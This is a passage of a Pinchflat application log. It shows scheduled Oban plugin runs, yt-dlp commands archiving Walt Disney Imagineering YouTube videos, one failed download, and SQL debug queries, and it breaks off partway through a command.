{"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.118 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:15.794 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/be/1d/be1d0d808e0ad593111126b4dce44deaf85010e02e1339df7b13a3ea5880fdc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 14:08:15.794 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 14:08:15.795 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":67285322,"event":"job:exception","queue_time":783649,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:08:22.746 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:52.747 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.119 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:22.749 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:52.750 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.120 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:22.751 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:52.752 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.121 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:22.753 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:52.754 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.122 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:22.755 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:52.756 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.123 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:22.757 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:52.759 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.124 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:22.760 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:52.761 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.125 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:22.762 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:52.764 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.126 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:22.765 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:52.766 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.127 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:22.767 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:52.768 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.128 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:22.769 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:52.770 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.129 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:22.772 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:52.773 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.130 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:22.774 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:52.775 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.131 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:22.776 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:52.778 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.132 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:22.779 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:52.780 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.133 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:22.782 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:52.783 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.134 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:22.784 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:52.785 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.135 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:22.786 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:52.787 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.136 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:22.788 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:52.789 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.137 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:22.790 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:52.792 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.138 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:22.793 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:52.794 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.139 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:22.795 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:52.796 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.140 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:22.797 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:52.798 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.141 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:22.799 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:52.800 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.142 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:22.801 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:52.803 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.143 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:22.804 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:52.805 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.144 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:22.806 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:52.807 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.145 [info] {"source":"oban","duration":298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:22.809 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:52.810 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.146 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:22.811 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:52.812 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.147 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:22.814 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:52.815 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.148 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:22.816 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:52.817 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.149 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:22.819 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:52.820 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.151 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:22.821 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:52.822 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.152 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:22.823 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:52.824 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.152 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:22.825 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:52.826 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.153 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:22.827 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:52.829 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.154 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:22.830 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:52.831 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.155 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:22.832 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:52.834 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.156 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:22.835 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:52.836 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.157 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:22.837 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:52.839 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.158 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:22.840 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:52.841 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.159 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:22.842 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:52.843 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.160 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:22.844 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:52.845 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.161 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:22.846 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:52.847 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.162 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:22.848 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:52.849 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.163 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:22.850 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:52.851 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.164 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:22.852 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:52.853 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.165 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:22.855 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:52.856 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.166 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:22.857 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:52.858 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.167 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:22.859 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:52.860 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.168 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:22.862 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:42.042 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775069922042423164,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:58:42.043 [debug] QUERY OK source="media_items" db=0.2ms idle=1512.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 14:58:42.043 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:58:42.043 [debug] QUERY OK source="sources" db=0.2ms idle=1512.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:58:42.043 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1010.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:58:42.044 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 14:58:42.044 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 14:58:42.045 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:58:42.045 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:42.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:42.045 [debug] Running yt-dlp command for action: get_downloadable_status 14:58:42.046 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:42.046 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:42.046 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:42.046 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/33/bc33229e70671a62d3f31685010792c3e9e6fe4e8c22695fd220da9ee4d2ba99.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:58:47.232 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/33/bc33229e70671a62d3f31685010792c3e9e6fe4e8c22695fd220da9ee4d2ba99.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:58:47.232 [debug] Running yt-dlp command for action: download 14:58:47.232 [debug] QUERY OK source="settings" db=0.1ms idle=1701.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:47.233 [debug] QUERY OK source="settings" db=0.0ms idle=1702.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:47.233 [debug] QUERY OK source="settings" db=0.1ms idle=1702.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:58:47.233 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney 